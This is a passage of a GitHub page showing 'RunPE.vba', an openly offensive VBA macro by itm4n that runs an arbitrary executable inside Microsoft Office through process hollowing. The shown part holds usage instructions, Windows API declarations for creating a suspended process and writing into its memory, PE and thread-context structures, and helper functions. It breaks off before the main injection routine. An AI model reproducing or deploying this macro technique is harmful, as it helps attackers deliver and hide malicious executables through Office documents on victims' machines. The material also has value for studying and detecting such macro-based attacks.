-
Notifications
You must be signed in to change notification settings - Fork 180
/
RunPE.vba
1017 lines (897 loc) · 51.8 KB
/
RunPE.vba
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
' --------------------------------------------------------------------------------
' Title: VBA RunPE
' Filename: RunPE.vba
' GitHub: https://github.com/itm4n/VBA-RunPE
' Date: 2019-12-14
' Author: Clement Labro (@itm4n)
' Description: A RunPE implementation in VBA with Windows API calls. It is
' compatible with both 32 bits and 64 bits versions of Microsoft Office.
' The 32 bits version of Office can only run 32 bits executables and the 64 bits
' version can only run 64 bits executables.
' Usage: 1. In the 'Exploit' procedure at the end of the code, set the path of the
' file you want to execute (with optional arguments)
' 2. Enable View > Immediate Window (Ctrl + G) (to check execution and error
' logs)
' 3. Run the macro!
' Tested on: - Windows 7 Pro 64 bits + Office 2016 32 bits
' - Windows 10 Pro 64 bits + Office 2016 64 bits
' Credit: @hasherezade - https://github.com/hasherezade/ (RunPE written in C++
' with dynamic relocations)
' --------------------------------------------------------------------------------
Option Explicit
' ================================================================================
' ~~~ IMPORT WINDOWS API FUNCTIONS ~~~
' ================================================================================
#If Win64 Then
Private Declare PtrSafe Sub RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByVal sSource As LongPtr, ByVal lLength As Long)
Private Declare PtrSafe Function GetModuleFileName Lib "KERNEL32" Alias "GetModuleFileNameA" (ByVal hModule As LongPtr, ByVal lpFilename As String, ByVal nSize As Long) As Long
Private Declare PtrSafe Function CreateProcess Lib "KERNEL32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function GetThreadContext Lib "KERNEL32" (ByVal hThread As LongPtr, ByVal lpContext As LongPtr) As Long
Private Declare PtrSafe Function ReadProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As LongPtr, ByVal nSize As Long, ByVal lpNumberOfBytesRead As LongPtr) As Long
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function VirtualAllocEx Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function VirtualFree Lib "KERNEL32" (ByVal lpAddress As LongPtr, dwSize As Long, dwFreeType As Long) As Long
Private Declare PtrSafe Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As LongPtr, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As LongPtr) As Long
Private Declare PtrSafe Function SetThreadContext Lib "KERNEL32" (ByVal hThread As LongPtr, ByVal lpContext As LongPtr) As Long
Private Declare PtrSafe Function ResumeThread Lib "KERNEL32" (ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Function TerminateProcess Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal uExitCode As Integer) As Long
#Else
Private Declare Sub RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As Long, ByVal sSource As Long, ByVal lLength As Long)
Private Declare Function GetModuleFileName Lib "KERNEL32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFilename As String, ByVal nSize As Long) As Long
Private Declare Function CreateProcess Lib "KERNEL32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function GetThreadContext Lib "KERNEL32" (ByVal hThread As Long, lpContext As CONTEXT) As Long
Private Declare Function ReadProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As LongPtr, ByVal nSize As Long, ByVal lpNumberOfBytesRead As LongPtr) As Long
Private Declare Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare Function VirtualAllocEx Lib "KERNEL32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare Function VirtualFree Lib "KERNEL32" (ByVal lpAddress As LongPtr, dwSize As Long, dwFreeType As Long) As Long
Private Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As LongPtr) As Long
Private Declare Function SetThreadContext Lib "KERNEL32" (ByVal hThread As Long, lpContext As CONTEXT) As Long
Private Declare Function ResumeThread Lib "KERNEL32" (ByVal hThread As Long) As Long
Private Declare Function TerminateProcess Lib "KERNEL32" (ByVal hProcess As Long, ByVal uExitCode As Integer) As Long
#End If
' ================================================================================
' ~~~ WINDOWS STRUCTURES ~~~
' ================================================================================
' Constants used in structure definitions
Private Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
Private Const IMAGE_SIZEOF_SHORT_NAME = 8
Private Const MAXIMUM_SUPPORTED_EXTENSION = 512
Private Const SIZE_OF_80387_REGISTERS = 80
#If Win64 Then
Private Type M128A
Low As LongLong 'ULONGLONG Low;
High As LongLong 'LONGLONG High;
End Type
#End If
' https://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html
Private Type IMAGE_DOS_HEADER
e_magic As Integer 'WORD e_magic;
e_cblp As Integer 'WORD e_cblp;
e_cp As Integer 'WORD e_cp;
e_crlc As Integer 'WORD e_crlc;
e_cparhdr As Integer 'WORD e_cparhdr;
e_minalloc As Integer 'WORD e_minalloc;
e_maxalloc As Integer 'WORD e_maxalloc;
e_ss As Integer 'WORD e_ss;
e_sp As Integer 'WORD e_sp;
e_csum As Integer 'WORD e_csum;
e_ip As Integer 'WORD e_ip;
e_cs As Integer 'WORD e_cs;
e_lfarlc As Integer 'WORD e_lfarlc;
e_ovno As Integer 'WORD e_ovno;
e_res(4 - 1) As Integer 'WORD e_res[4];
e_oemid As Integer 'WORD e_oemid;
e_oeminfo As Integer 'WORD e_oeminfo;
e_res2(10 - 1) As Integer 'WORD e_res2[10];
e_lfanew As Long 'LONG e_lfanew;
End Type
' https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms680305(v=vs.85).aspx
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long 'DWORD VirtualAddress;
Size As Long 'DWORD Size;
End Type
' undocumented
Private Type IMAGE_BASE_RELOCATION
VirtualAddress As Long 'DWORD VirtualAddress
SizeOfBlock As Long 'DWORD SizeOfBlock
End Type
' https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms680313(v=vs.85).aspx
Private Type IMAGE_FILE_HEADER
Machine As Integer 'WORD Machine;
NumberOfSections As Integer 'WORD NumberOfSections;
TimeDateStamp As Long 'DWORD TimeDateStamp;
PointerToSymbolTable As Long 'DWORD PointerToSymbolTable;
NumberOfSymbols As Long 'DWORD NumberOfSymbols;
SizeOfOptionalHeader As Integer 'WORD SizeOfOptionalHeader;
Characteristics As Integer 'WORD Characteristics;
End Type
' https://msdn.microsoft.com/en-us/library/windows/desktop/ms680339(v=vs.85).aspx
Private Type IMAGE_OPTIONAL_HEADER
#If Win64 Then
Magic As Integer 'WORD Magic;
MajorLinkerVersion As Byte 'BYTE MajorLinkerVersion;
MinorLinkerVersion As Byte 'BYTE MinorLinkerVersion;
SizeOfCode As Long 'DWORD SizeOfCode;
SizeOfInitializedData As Long 'DWORD SizeOfInitializedData;
SizeOfUninitializedData As Long 'DWORD SizeOfUninitializedData;
AddressOfEntryPoint As Long 'DWORD AddressOfEntryPoint;
BaseOfCode As Long 'DWORD BaseOfCode;
ImageBase As LongLong 'ULONGLONG ImageBase;
SectionAlignment As Long 'DWORD SectionAlignment;
FileAlignment As Long 'DWORD FileAlignment;
MajorOperatingSystemVersion As Integer 'WORD MajorOperatingSystemVersion;
MinorOperatingSystemVersion As Integer 'WORD MinorOperatingSystemVersion;
MajorImageVersion As Integer 'WORD MajorImageVersion;
MinorImageVersion As Integer 'WORD MinorImageVersion;
MajorSubsystemVersion As Integer 'WORD MajorSubsystemVersion;
MinorSubsystemVersion As Integer 'WORD MinorSubsystemVersion;
Win32VersionValue As Long 'DWORD Win32VersionValue;
SizeOfImage As Long 'DWORD SizeOfImage;
SizeOfHeaders As Long 'DWORD SizeOfHeaders;
CheckSum As Long 'DWORD CheckSum;
Subsystem As Integer 'WORD Subsystem;
DllCharacteristics As Integer 'WORD DllCharacteristics;
SizeOfStackReserve As LongLong 'ULONGLONG SizeOfStackReserve;
SizeOfStackCommit As LongLong 'ULONGLONG SizeOfStackCommit;
SizeOfHeapReserve As LongLong 'ULONGLONG SizeOfHeapReserve;
SizeOfHeapCommit As LongLong 'ULONGLONG SizeOfHeapCommit;
LoaderFlags As Long 'DWORD LoaderFlags;
NumberOfRvaAndSizes As Long 'DWORD NumberOfRvaAndSizes;
DataDirectory(IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY 'IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
#Else
Magic As Integer 'WORD Magic;
MajorLinkerVersion As Byte 'BYTE MajorLinkerVersion;
MinorLinkerVersion As Byte 'BYTE MinorLinkerVersion;
SizeOfCode As Long 'DWORD SizeOfCode;
SizeOfInitializedData As Long 'DWORD SizeOfInitializedData;
SizeOfUninitializedData As Long 'DWORD SizeOfUninitializedData;
AddressOfEntryPoint As Long 'DWORD AddressOfEntryPoint;
BaseOfCode As Long 'DWORD BaseOfCode;
BaseOfData As Long 'DWORD BaseOfData;
ImageBase As Long 'DWORD ImageBase;
SectionAlignment As Long 'DWORD SectionAlignment;
FileAlignment As Long 'DWORD FileAlignment;
MajorOperatingSystemVersion As Integer 'WORD MajorOperatingSystemVersion;
MinorOperatingSystemVersion As Integer 'WORD MinorOperatingSystemVersion;
MajorImageVersion As Integer 'WORD MajorImageVersion;
MinorImageVersion As Integer 'WORD MinorImageVersion;
MajorSubsystemVersion As Integer 'WORD MajorSubsystemVersion;
MinorSubsystemVersion As Integer 'WORD MinorSubsystemVersion;
Win32VersionValue As Long 'DWORD Win32VersionValue;
SizeOfImage As Long 'DWORD SizeOfImage;
SizeOfHeaders As Long 'DWORD SizeOfHeaders;
CheckSum As Long 'DWORD CheckSum;
Subsystem As Integer 'WORD Subsystem;
DllCharacteristics As Integer 'WORD DllCharacteristics;
SizeOfStackReserve As Long 'DWORD SizeOfStackReserve;
SizeOfStackCommit As Long 'DWORD SizeOfStackCommit;
SizeOfHeapReserve As Long 'DWORD SizeOfHeapReserve;
SizeOfHeapCommit As Long 'DWORD SizeOfHeapCommit;
LoaderFlags As Long 'DWORD LoaderFlags;
NumberOfRvaAndSizes As Long 'DWORD NumberOfRvaAndSizes;
DataDirectory(IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY 'IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
#End If
End Type
' https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms680336(v=vs.85).aspx
Private Type IMAGE_NT_HEADERS
Signature As Long 'DWORD Signature;
FileHeader As IMAGE_FILE_HEADER 'IMAGE_FILE_HEADER FileHeader;
OptionalHeader As IMAGE_OPTIONAL_HEADER 'IMAGE_OPTIONAL_HEADER OptionalHeader;
End Type
' https://www.nirsoft.net/kernel_struct/vista/IMAGE_SECTION_HEADER.html
Private Type IMAGE_SECTION_HEADER
SecName(IMAGE_SIZEOF_SHORT_NAME - 1) As Byte 'UCHAR Name[IMAGE_SIZEOF_SHORT_NAME];
Misc As Long 'ULONG Misc;
VirtualAddress As Long 'ULONG VirtualAddress;
SizeOfRawData As Long 'ULONG SizeOfRawData;
PointerToRawData As Long 'ULONG PointerToRawData;
PointerToRelocations As Long 'ULONG PointerToRelocations;
PointerToLinenumbers As Long 'ULONG PointerToLinenumbers;
NumberOfRelocations As Integer 'WORD NumberOfRelocations;
NumberOfLinenumbers As Integer 'WORD NumberOfLinenumbers;
Characteristics As Long 'ULONG Characteristics;
End Type
' https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms684873(v=vs.85).aspx
Private Type PROCESS_INFORMATION
hProcess As LongPtr 'HANDLE hProcess;
hThread As LongPtr 'HANDLE hThread;
dwProcessId As Long 'DWORD dwProcessId;
dwThreadId As Long 'DWORD dwThreadId;
End Type
' https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
Private Type STARTUPINFO
cb As Long 'DWORD cb;
lpReserved As String 'LPSTR lpReserved;
lpDesktop As String 'LPSTR lpDesktop;
lpTitle As String 'LPSTR lpTitle;
dwX As Long 'DWORD dwX;
dwY As Long 'DWORD dwY;
dwXSize As Long 'DWORD dwXSize;
dwYSize As Long 'DWORD dwYSize;
dwXCountChars As Long 'DWORD dwXCountChars;
dwYCountChars As Long 'DWORD dwYCountChars;
dwFillAttribute As Long 'DWORD dwFillAttribute;
dwFlags As Long 'DWORD dwFlags;
wShowWindow As Integer 'WORD wShowWindow;
cbReserved2 As Integer 'WORD cbReserved2;
lpReserved2 As LongPtr 'LPBYTE lpReserved2;
hStdInput As LongPtr 'HANDLE hStdInput;
hStdOutput As LongPtr 'HANDLE hStdOutput;
hStdError As LongPtr 'HANDLE hStdError;
End Type
' https://www.nirsoft.net/kernel_struct/vista/FLOATING_SAVE_AREA.html
Private Type FLOATING_SAVE_AREA
ControlWord As Long 'DWORD ControlWord;
StatusWord As Long 'DWORD StatusWord;
TagWord As Long 'DWORD TagWord;
ErrorOffset As Long 'DWORD ErrorOffset;
ErrorSelector As Long 'DWORD ErrorSelector;
DataOffset As Long 'DWORD DataOffset;
DataSelector As Long 'DWORD DataSelector;
RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte 'BYTE RegisterArea[SIZE_OF_80387_REGISTERS];
Spare0 As Long 'DWORD Spare0;
End Type
' winnt.h
#If Win64 Then
Private Type XMM_SAVE_AREA32
ControlWord As Integer 'WORD ControlWord;
StatusWord As Integer 'WORD StatusWord;
TagWord As Byte 'BYTE TagWord;
Reserved1 As Byte 'BYTE Reserved1;
ErrorOpcode As Integer 'WORD ErrorOpcode;
ErrorOffset As Long 'DWORD ErrorOffset;
ErrorSelector As Integer 'WORD ErrorSelector;
Reserved2 As Integer 'WORD Reserved2;
DataOffset As Long 'DWORD DataOffset;
DataSelector As Integer 'WORD DataSelector;
Reserved3 As Integer 'WORD Reserved3;
MxCsr As Long 'DWORD MxCsr;
MxCsr_Mask As Long 'DWORD MxCsr_Mask;
FloatRegisters(8 - 1) As M128A 'M128A FloatRegisters[8];
XmmRegisters(16 - 1) As M128A 'M128A XmmRegisters[16];
Reserved4(96 - 1) As Byte 'BYTE Reserved4[96];
End Type
#End If
Private Type CONTEXT
#If Win64 Then
' Register parameter home addresses
P1Home As LongLong 'DWORD64 P1Home;
P2Home As LongLong 'DWORD64 P2Home;
P3Home As LongLong 'DWORD64 P3Home;
P4Home As LongLong 'DWORD64 P4Home;
P5Home As LongLong 'DWORD64 P5Home;
P6Home As LongLong 'DWORD64 P6Home;
' Control flags
ContextFlags As Long 'DWORD ContextFlags;
MxCsr As Long 'DWORD MxCsr;
' Segment Registers and processor flags
SegCs As Integer 'WORD SegCs;
SegDs As Integer 'WORD SegDs;
SegEs As Integer 'WORD SegEs;
SegFs As Integer 'WORD SegFs;
SegGs As Integer 'WORD SegGs;
SegSs As Integer 'WORD SegSs;
EFlags As Long 'DWORD EFlags;
' Debug registers
Dr0 As LongLong 'DWORD64 Dr0;
Dr1 As LongLong 'DWORD64 Dr1;
Dr2 As LongLong 'DWORD64 Dr2;
Dr3 As LongLong 'DWORD64 Dr3;
Dr6 As LongLong 'DWORD64 Dr6;
Dr7 As LongLong 'DWORD64 Dr7;
' Integer registers
Rax As LongLong 'DWORD64 Rax;
Rcx As LongLong 'DWORD64 Rcx;
Rdx As LongLong 'DWORD64 Rdx;
Rbx As LongLong 'DWORD64 Rbx;
Rsp As LongLong 'DWORD64 Rsp;
Rbp As LongLong 'DWORD64 Rbp;
Rsi As LongLong 'DWORD64 Rsi;
Rdi As LongLong 'DWORD64 Rdi;
R8 As LongLong 'DWORD64 R8;
R9 As LongLong 'DWORD64 R9;
R10 As LongLong 'DWORD64 R10;
R11 As LongLong 'DWORD64 R11;
R12 As LongLong 'DWORD64 R12;
R13 As LongLong 'DWORD64 R13;
R14 As LongLong 'DWORD64 R14;
R15 As LongLong 'DWORD64 R15;
' Program counter
Rip As LongLong 'DWORD64 Rip
' Floating point state
FltSave As XMM_SAVE_AREA32 'XMM_SAVE_AREA32 FltSave;
'Header(2 - 1) As M128A 'M128A Header[2];
'Legacy(8 - 1) As M128A 'M128A Legacy[8];
'Xmm0 As M128A 'M128A Xmm0;
'Xmm1 As M128A 'M128A Xmm1;
'Xmm2 As M128A 'M128A Xmm2;
'Xmm3 As M128A 'M128A Xmm3;
'Xmm4 As M128A 'M128A Xmm4;
'Xmm5 As M128A 'M128A Xmm5;
'Xmm6 As M128A 'M128A Xmm6;
'Xmm7 As M128A 'M128A Xmm7;
'Xmm8 As M128A 'M128A Xmm8;
'Xmm9 As M128A 'M128A Xmm9;
'Xmm10 As M128A 'M128A Xmm10;
'Xmm11 As M128A 'M128A Xmm11;
'Xmm12 As M128A 'M128A Xmm12;
'Xmm13 As M128A 'M128A Xmm13;
'Xmm14 As M128A 'M128A Xmm14;
'Xmm15 As M128A 'M128A Xmm15;
' Vector registers
VectorRegister(26 - 1) As M128A 'M128A VectorRegister[26];
VectorControl As LongLong 'DWORD64 VectorControl;
' Special debug control registers
DebugControl As LongLong 'DWORD64 DebugControl;
LastBranchToRip As LongLong 'DWORD64 LastBranchToRip;
LastBranchFromRip As LongLong 'DWORD64 LastBranchFromRip;
LastExceptionToRip As LongLong 'DWORD64 LastExceptionToRip;
LastExceptionFromRip As LongLong 'DWORD64 LastExceptionFromRip;
#Else
' https://msdn.microsoft.com/en-us/library/windows/desktop/ms679284(v=vs.85).aspx
ContextFlags As Long 'DWORD ContextFlags;
Dr0 As Long 'DWORD Dr0;
Dr1 As Long 'DWORD Dr1;
Dr2 As Long 'DWORD Dr2;
Dr3 As Long 'DWORD Dr3;
Dr6 As Long 'DWORD Dr6;
Dr7 As Long 'DWORD Dr7;
FloatSave As FLOATING_SAVE_AREA 'FLOATING_SAVE_AREA FloatSave;
SegGs As Long 'DWORD SegGs;
SegFs As Long 'DWORD SegFs;
SegEs As Long 'DWORD SegEs;
SegDs As Long 'DWORD SegDs;
Edi As Long 'DWORD Edi;
Esi As Long 'DWORD Esi;
Ebx As Long 'DWORD Ebx;
Edx As Long 'DWORD Edx;
Ecx As Long 'DWORD Ecx;
Eax As Long 'DWORD Eax;
Ebp As Long 'DWORD Ebp;
Eip As Long 'DWORD Eip;
SegCs As Long 'DWORD SegCs; // MUST BE SANITIZED
EFlags As Long 'DWORD EFlags; // MUST BE SANITIZED
Esp As Long 'DWORD Esp;
SegSs As Long 'DWORD SegSs;
ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte 'BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
#End If
End Type
' ================================================================================
' ~~~ CONSTANTS USED IN WINDOWS API CALLS ~~~
' ================================================================================
Private Const MEM_COMMIT = &H1000
Private Const MEM_RESERVE = &H2000
Private Const PAGE_READWRITE = &H4
Private Const PAGE_EXECUTE_READWRITE = &H40
Private Const MAX_PATH = 260
Private Const CREATE_SUSPENDED = &H4
Private Const CONTEXT_AMD64 = &H100000
Private Const CONTEXT_I386 = &H10000
#If Win64 Then
Private Const CONTEXT_ARCH = CONTEXT_AMD64
#Else
Private Const CONTEXT_ARCH = CONTEXT_I386
#End If
Private Const CONTEXT_CONTROL = CONTEXT_ARCH Or &H1
Private Const CONTEXT_INTEGER = CONTEXT_ARCH Or &H2
Private Const CONTEXT_SEGMENTS = CONTEXT_ARCH Or &H4
Private Const CONTEXT_FLOATING_POINT = CONTEXT_ARCH Or &H8
Private Const CONTEXT_DEBUG_REGISTERS = CONTEXT_ARCH Or &H10
Private Const CONTEXT_EXTENDED_REGISTERS = CONTEXT_ARCH Or &H20
Private Const CONTEXT_FULL = CONTEXT_CONTROL Or CONTEXT_INTEGER Or CONTEXT_SEGMENTS
' ================================================================================
' ~~~ CONSTANTS USED IN THE MAIN SUB ~~~
' ================================================================================
Private Const VERBOSE = False ' Set to True for debugging
Private Const IMAGE_DOS_SIGNATURE = &H5A4D ' 0x5A4D // MZ
Private Const IMAGE_NT_SIGNATURE = &H4550 ' 0x00004550 // PE00
Private Const IMAGE_FILE_MACHINE_I386 = &H14C ' 32 bits PE (IMAGE_NT_HEADERS.IMAGE_FILE_HEADER.Machine)
Private Const IMAGE_FILE_MACHINE_AMD64 = &H8664 ' 64 bits PE (IMAGE_NT_HEADERS.IMAGE_FILE_HEADER.Machine)
Private Const SIZEOF_IMAGE_DOS_HEADER = 64
Private Const SIZEOF_IMAGE_SECTION_HEADER = 40
Private Const SIZEOF_IMAGE_FILE_HEADER = 20
Private Const SIZEOF_IMAGE_DATA_DIRECTORY = 8
Private Const SIZEOF_IMAGE_BASE_RELOCATION = 8
Private Const SIZEOF_IMAGE_BASE_RELOCATION_ENTRY = 2
#If Win64 Then
Private Const SIZEOF_IMAGE_NT_HEADERS = 264
Private Const SIZEOF_ADDRESS = 8
#Else
Private Const SIZEOF_IMAGE_NT_HEADERS = 248
Private Const SIZEOF_ADDRESS = 4
#End If
' Data Directories
' |__ IMAGE_OPTIONAL_HEADER contains an array of 16 IMAGE_DATA_DIRECTORY structures
' |__ Each IMAGE_DATA_DIRECTORY structure as a "predefined role", as defined by these constants (in winnt.h)
Private Const IMAGE_DIRECTORY_ENTRY_EXPORT = 0 ' Export Directory
Private Const IMAGE_DIRECTORY_ENTRY_IMPORT = 1 ' Import Directory
Private Const IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 ' Resource Directory
Private Const IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 ' Exception Directory
Private Const IMAGE_DIRECTORY_ENTRY_SECURITY = 4 ' Security Directory
Private Const IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 ' Base Relocation Table
Private Const IMAGE_DIRECTORY_ENTRY_DEBUG = 6 ' Debug Directory
Private Const IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7 ' Description String
Private Const IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 ' Machine Value (MIPS GP)
Private Const IMAGE_DIRECTORY_ENTRY_TLS = 9 ' TLS Directory
Private Const IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 ' Load Configuration Directory
' ================================================================================
' ~~~ HELPERS ~~~
' ================================================================================
' --------------------------------------------------------------------------------
' Method: ByteArrayLength
' Desc: Returns the length of a Byte array
' Arguments: baBytes - An array of Bytes
' Returns: The size of the array as a Long
' --------------------------------------------------------------------------------
Public Function ByteArrayLength(baBytes() As Byte) As Long
On Error Resume Next
ByteArrayLength = UBound(baBytes) - LBound(baBytes) + 1
End Function
' --------------------------------------------------------------------------------
' Method: ByteArrayToString
' Desc: Converts an array of Bytes to a String
' Arguments: baBytes - An array of Bytes
' Returns: The String representation of the Byte array
' --------------------------------------------------------------------------------
Private Function ByteArrayToString(baBytes() As Byte) As String
Dim strRes As String: strRes = ""
Dim iCount As Integer
For iCount = 0 To ByteArrayLength(baBytes) - 1
If baBytes(iCount) <> 0 Then
strRes = strRes & Chr(baBytes(iCount))
Else
Exit For
End If
Next iCount
ByteArrayToString = strRes
End Function
' --------------------------------------------------------------------------------
' Method: FileToByteArray
' Desc: Reads a file as a Byte array
' Arguments: strFilename - Fullname of the file as a String (ex:
' 'C:\Windows\System32\cmd.exe')
' Returns: The content of the file as a Byte array
' --------------------------------------------------------------------------------
Private Function FileToByteArray(strFilename As String) As Byte()
' File content to String
Dim strFileContent As String
Dim iFile As Integer: iFile = FreeFile
Open strFilename For Binary Access Read As #iFile
strFileContent = Space(FileLen(strFilename))
Get #iFile, , strFileContent
Close #iFile
' String to Byte array
Dim baFileContent() As Byte
baFileContent = StrConv(strFileContent, vbFromUnicode)
FileToByteArray = baFileContent
End Function
' --------------------------------------------------------------------------------
' Method: StringToByteArray
' Desc: Convert a String to a Byte array
' Arguments: strContent - Input String representing the PE
' Returns: The content of the String as a Byte array
' --------------------------------------------------------------------------------
Private Function StringToByteArray(strContent As String) As Byte()
Dim baContent() As Byte
baContent = StrConv(strContent, vbFromUnicode)
StringToByteArray = baContent
End Function
' --------------------------------------------------------------------------------
' Method: A
' Desc: Append a Char to a String.
' Arguments: strA - Input String. E.g.: "AAA"
' bChar - Input Char as a Byte. E.g.: 66 or &H42
' Returns: The concatenation of the String and the Char. E.g.: "AAAB"
' --------------------------------------------------------------------------------
Private Function A(strA As String, bChar As Byte) As String
A = strA & Chr(bChar)
End Function
' --------------------------------------------------------------------------------
' Method: B
' Desc: Append a String to another String.
' Arguments: strA - Input String 1. E.g.: "AAAA"
